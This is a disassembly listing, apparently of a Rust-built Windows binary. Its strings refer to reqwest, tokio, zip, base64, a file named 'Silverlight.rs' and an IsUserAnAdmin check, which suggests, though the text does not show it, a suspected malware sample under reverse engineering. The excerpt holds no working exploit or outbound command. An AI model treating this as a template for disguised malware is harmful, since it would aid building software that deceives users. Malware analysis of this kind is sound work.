mov rdx, rax
jmp 0x1400056ac
lea rcx, [rsp + 0x410]
call fcn.14000d698
lea rcx, [rsp + 0x170]
call fcn.14000d698
call fcn.1400ba180
ud2
mov rcx, r13
mov rdx, r14
call fcn.1400e9eb0
ud2
lea r8, [0x1401f21e0]
mov edx, 0x104
call fcn.1400ea350
ud2
test rdx, rdx
jne 0x1400081a5
call fcn.14000b880
ud2
mov rcx, rbx
jmp 0x14000817f
ud2
lea rcx, str._async_fn__resumed_after_completionfailed_to_park_threadC:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_tokio_1.6.1_src_runtime_thread_poolmod.rs
lea r8, str.src_binSilverlight.rs
jmp 0x140008384
mov rax, qword [rsp + 0x898]
lea r8, [rsp + 0x2c0]
mov qword [r8 + 0x10], rax
movups xmm0, xmmword [rsp + 0x888]
movaps xmmword [r8], xmm0
lea rax, str.src_binSilverlight.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueC:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823zip_0.5.13_srccp437.rs
lea r9, fcn.14000259b
push 0x2b
jmp 0x14000832d
lea r8, [rsp + 0x880]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
lea rax, str.C:Usersyyy.rustup_toolchains_stable_x86_64_pc_windows_msvclib_rustlib_src_rustlibrary_std_src_threadmod.rsC:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_tokio_1.6.1_src_runtime_blockingpool.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1400ee940]
lea r9, fcn.140002629
push reloc.WS2_32.dll_shutdown
jmp 0x14000832d
lea r8, [rsp + 0x880]
mov byte [r8], sil
mov qword [r8 + 1], r15
mov dword [r8 + 9], edi
mov rax, rdi
shr rax, 0x30
mov byte [r8 + 0xf], al
shr rdi, 0x20
mov word [r8 + 0xd], di
lea rax, str.src_binSilverlight.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1400eee0a]
lea r9, fcn.140002629
push 0xc
jmp 0x14000832d
lea rax, [0x1401b3bf0]
lea rdx, [rsp + 0x560]
mov qword [rdx], rax
lea rax, str.internal_error:_entered_unreachable_code:_Dont_abuse_the_FutureProof_
lea rcx, [rsp + 0x880]
mov qword [rcx], rax
mov qword [rcx + 8], rbx
and qword [rcx + 0x10], 0
lea rax, [0x14000c3ff]
mov qword [rdx + 8], rax
mov qword [rcx + 0x20], rdx
mov qword [rcx + 0x28], rbx
lea rdx, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.3_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_isClient::new__
call fcn.1400ea310
ud2
lea rcx, [rsp + 0x7f0]
call fcn.14005787a
lea rcx, [rsp + 0x2c0]
call fcn.140050fda
lea rsi, [rsp + 0x388]
mov rcx, rsi
call fcn.14009c314
cmp qword [rsi + 0x48], 0
je 0x140008306
lea rcx, [rsp + 0x3d0]
call fcn.14005242c
lea r8, [rsp + 0x880]
mov qword [r8], rbx
lea rax, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.3_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_isClient::new__
mov qword [rsp + 0x20], rax
lea rcx, [0x1401b3cd8]
lea r9, fcn.14005242c
push 0xd
pop rdx
call fcn.1400ea9d0
ud2
lea rcx, [0x1401b3e13]
lea r8, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.3_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_isClient::new__
push 0x23
pop rdx
call fcn.1400ea960
ud2
lea rax, str.C:Usersyyy.rustup_toolchains_stable_x86_64_pc_windows_msvclib_rustlib_src_rustlibrary_alloc_src_string.rs
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov r9, rdi
call fcn.1400ea3d0
ud2
lea rcx, str._async_fn__resumed_after_completionfailed_to_park_threadC:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_tokio_1.6.1_src_runtime_thread_poolmod.rs
lea r8, str.D:coding_rust_armutilutils_srchttp.rsh
jmp 0x140008384
push 0x23
pop rdx
call fcn.1400ea240
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.D:coding_rust_armutil_task_srclib.rsResult__System
push 0x2b
jmp 0x140008386
lea rcx, str.usize_overflow_when_calculating_buffer_size
lea r8, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcencode.rsX_e_
push 0x2b
jmp 0x140008345
ud2
mov al, 1
mov cl, 3
mov byte [rbx + 0x320], cl
movaps xmm6, xmmword [rbp + 0xd90]
movaps xmm7, xmmword [rbp + 0xda0]
lea rsp, [rbp + 0xdb8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, [rbx + reloc.SHELL32.dll_IsUserAnAdmin]
mov qword [rbx + 0x310], rax
lea rdx, [rbx + 0x310]
lea rdi, [rsp + 0x880]
mov rcx, rdi
mov r8, qword [rsp + 0xc0]
call fcn.140002b5b
mov rax, qword [rdi]
cmp rax, 3
je 0x140008490
mov rdi, qword [rsp + 0x888]
movups xmm0, xmmword [rsp + 0x890]
movaps xmmword [rsp + 0x2c0], xmm0
mov rcx, qword [rsp + 0x8a0]
mov qword [rsp + 0x2d0], rcx
cmp eax, 2
je 0x1400084a2
lea rcx, [rbx + 0x2f8]
cmp eax, 1
je 0x140008503
mov rax, qword [rsp + 0x2d0]
lea rdx, [rsp + 0x880]
mov qword [rdx + 0x18], rax
movaps xmm0, xmmword [rsp + 0x2c0]
movups xmmword [rdx + 8], xmm0
mov qword [rdx], rdi
call fcn.140002aa1
jmp 0x1400083f0
mov byte [r15], 5
mov byte [r13], 3
mov byte [r14], 4
jmp 0x1400083c4
mov r15, rsi
mov qword [rsp + 0x80], r14
mov rax, qword [rbx + 0x308]
lea rdx, [rsp + 0x2c0]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rbx + 0x2f8]
movaps xmmword [rdx], xmm0
lea rbx, [rsp + 0x880]
mov rcx, rbx
call fcn.14000da12
mov rdi, qword [rbx]
movups xmm0, xmmword [rbx + 8]
mov r13, qword [rsp + 0x68]
movups xmmword [r13], xmm0
mov r14, qword [rbx + 0x18]
mov rbx, qword [rsp + 0x58]
xor eax, eax
mov qword [rsp + 0xb8], rax
jmp 0x140006ef2
mov r15, rsi
mov qword [rsp + 0x80], r14
call fcn.14000d698
mov r13, qword [rsp + 0x68]
cmp byte [r12 + 0x79], 0
mov rsi, qword [rsp + 0x60]
je 0x140006ef7
lea rcx, [rbx + 0x2b0]
call fcn.1400025a6
jmp 0x140006ef7